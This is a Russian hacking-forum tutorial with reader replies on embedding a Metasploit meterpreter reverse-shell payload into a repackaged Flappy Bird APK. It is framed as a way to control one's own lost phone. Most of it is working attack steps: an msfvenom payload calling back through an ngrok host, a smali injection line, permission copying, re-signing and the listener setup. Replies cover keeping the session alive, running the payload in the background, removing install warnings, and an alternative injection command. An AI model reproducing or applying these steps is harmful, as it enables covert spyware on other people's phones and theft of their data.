• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Получаем сессию meterpreter на Android 10

Всем доброго времени суток. В этой статье я расскажу про то, как можно удаленно управлять своим телефоном, если вы вдруг его потеряете, или у вас его украдут. Путь не легкий, но эффективный. Прошу, не используйте это в корыстных и незаконных целях.
Меньше слов больше дела, переходим сразу к практике.

Для реализации задуманного необходим следующий софт:
  • Kali linux
  • ngrok
  • Apktool
  • Metasploit Framework
  • Jarsigner
  • key.keystore файл (это подписи, генерим с keytool)
  • Zipalign
  • Android 10 (ну или старее)
Как все это дело приобрести я не буду рассказывать, за исключением key.keystore

Начнем с скачивания приложения (.apk), в которое поместим backdoor. Например:

1604136622689.png




Для удобства дам ему короткое имя:

1604136990485.png


запускаем ngrok: (про установку и использования читайте в гугле. информации много )
Код:
./ngrok tcp 4444
1604137165553.png


получаем от него lhost и lport. Чтоб вы понимали, все, что будет попадать на этот хост по этому порту, будет отправляться нам на localhost 4444 (окно не закрываете. ngrok должен работать. в данном примере сессия одноразовая, но это совсем не проблема)

Запускаем msfvenom для создания пейлоада командой:
Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14797 M> /home/kali/payload.apk
1604138050319.png


теперь у меня есть файлик payload.apk по пути /home/kali/injection_apk/

1604138166153.png


сюда же помещаю приложение которое скачали с сайта (flappy.apk). вот как выглядит проект на данный момент:

1604138386676.png


Далее необходимо "разархивировать" .apk файлы. делается это командами:
Код:
apktool d flappy.apk
apktool d payload.apk
1604138777303.png


получили 2 папки, с которыми будем работать.

Нам нужна папка metasploit (и все что внутри) по пути /injection_apk/payload/smali/com/
копируем и вставляем в папку flappy по пути /injection_apk/flappy/smali/com/

1604138971843.png


1604139135520.png


далее идем по пути /injection_apk/flappy/smali/com/dotgears/flappy/ и открываем файл SplashScreen.smali

1604139601221.png


нам необходимо выполнить инициализацию пейлоада, для этого вставляем строчку invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V как на скрине ниже:
не забываете сохранить.

1604140024583.png


Теперь необходимо, чтобы наше приложение запросило необходимые разрешения при установке (для всего функционала meterpreter)

заходим в папку payload и копируем необходимые разрешения из файла AndroidManifest.xml

1604140424078.png


1604140551432.png


далее заходим в /injection_apk/flappy/ и находим там идентичный файл AndroidManifest.xml

1604140709935.png


и поправляем его разрешения удалив 3 строчки

1604141019165.png


и на их место вставляем наши, скопированные ранее разрешения из файла AndroidManifest.xml в папке payload

1604141094957.png


не забываете сохранить.

теперь необходимо перекомпилировать flappy использую всю ту же apktool
Код:
apktool b flappy
1604141422780.png


и в папке /injection_apk/flappy/dist/ получаем уже почти готовый flappy.apk

1604141611247.png


переходим к созданию файла подписей key.kyestore
это очень интересная тема, которой стоит заинтересоваться...
для генерирования файла нам понадобится keytool
Код:
keytool -genkey -V -keystore /home/kali/injection_apk/key.keystore -alias alexis -keyalg RSA -keysize 2048 -validity 1000
1604142070401.png


в папке /injection_apk/ получаем файл key.keystore

1604142113309.png


теперь сертифицируем наш flappy.apk (находящийся в расположении /injection_apk/flappy/dist/ ) утилитой jarsigner
Код:
jarsigner -verbose  -sigalg SHA1withRSA -digestalg SHA1 -keystore /home/kali/injection_apk/key.keystore /home/kali/injection_apk/flappy/dist/flappy.apk alexis
выводом будет много текста в сообщением об удачной регистрации, о рисках безопасности и так далее.... :

1604143037003.png

теперь нужно немножко выровнять наш проект и получит готовый продукт:
zipalign -v 4 /home/kali/injection_apk/flappy/dist/flappy.apk flappy_v.apk
тоже куча текста и в конце должно быть Verification successful
1604143586273.png


в папке /injection_apk/ появился конечный продукт с именем flappy_v.apk

1604143855237.png


предлагаю, перед его доставкой на СВОЙ телефон, зашифровать командой
Код:
zip --password codeby flappySec.zip flappy_v.apk
1604144080735.png


далее я напишу всем известные команды:
Код:
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost localhost
set lport 4444
1604146218724.png


доставил на СВОЙ телефон файлик
и получил сессию meterpreter

1604146438088.png


Screenshot_20201031-151142_Package installer.jpg


Screenshot_20201031-151241_Flappy Bird.jpg


из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.

сессия метерпретер устойчивая и не разорвется пока вы не выключите ngrok.
 

mrtyrel

Green Team
01.12.2018
80
45
BIT
0
А если я захочу другое приложение и там не будет Splashscreen как мне выполнить инициализацию пейлоада?

[теперь нужно немножко выровнять наш проект и получит готовый продукт]
Можно было хоть не много описать

Проверка была на Genymotion android 8 пейлоад как только запускался сразу умирал
На Nox android 7 пейлоад запускался спустя примерно 10 сек если приложения находилось открытым как только приложения закрывалось процесс умирал

Есть ли в msf payload android аналог ps/migrate/run metsvc - msf payload windows
 
Последнее редактирование:

s unity

Green Team
18.09.2019
207
26
BIT
0
другое приложение и там не будет Splashscreen
тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически
1605012374426.png

android 8 пейлоад как только запускался сразу умирал
возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...
 

mrtyrel

Green Team
01.12.2018
80
45
BIT
0
тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически
Посмотреть вложение 45106

возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...
Ты делал опыт на реальном телефоне? Если да что за модель?
 

UnDerGr0unD

One Level
14.11.2020
8
2
BIT
0
из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.
Тоже самое, можно ли эти косяки убрать?
 
  • Нравится
Реакции: Pussykiller

Павел55

New member
17.01.2021
1
0
BIT
0
тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически
Посмотреть вложение 45106

возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...
Сегодняшняя проблема в сессии это в том что приложение должно быть в фоновом режиме, я делал обычный пайлаод и когда после установки тыкал на него открывалась сессия, стоило нажать на какое нибудь приложение сессия отрубалась(через нгрок делал),потом зашел в настройки и поставил пайлоад в фоновый режим и все пошло железно и точно,... как сделать в настройках апк фаила, чтоб после установки он переходил в фоновый режим , а не в ручную как делал я в настройках, если кто знает буду рад выслушать.
 

Joyson

New member
24.06.2021
1
0
BIT
0
IMG_20210625_205050_166.jpg
подскажите пожалуйста что это такое? Как решить?
 

Kounty_Rolen

New member
11.10.2017
4
0
BIT
0
msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14797 -x orginal.apk M> /home/kali/payload.apk
чем эта команда хуже описанных в посте ?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!